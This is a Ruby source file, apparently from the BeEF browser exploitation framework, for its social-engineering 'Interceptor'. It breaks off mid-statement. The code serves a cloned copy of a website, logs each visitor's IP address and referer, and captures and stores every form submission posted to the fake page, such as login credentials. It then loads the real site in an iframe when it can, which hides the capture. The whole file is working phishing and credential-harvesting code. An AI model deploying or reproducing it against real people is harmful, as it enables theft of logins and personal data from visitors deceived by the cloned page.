# # Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module SocialEngineering require 'sinatra/base' class Interceptor < Sinatra::Base configure do set :show_exceptions, false end # intercept GET get "/" do print_info "GET request from IP #{request.ip}" print_info "Referer: #{request.referer}" cloned_page = settings.cloned_page cloned_page end # intercept POST post "/" do print_info "POST request from IP #{request.ip}" request.body.rewind data = request.body.read print_info "Intercepted data:" print_info data interceptor_db = BeEF::Core::Models::Interceptor.new( :webcloner_id => settings.db_entry.id, :post_data => data, :ip => request.ip ) interceptor_db.save if settings.frameable print_info "Page can be framed :-) Loading original URL into iFrame..." "
\n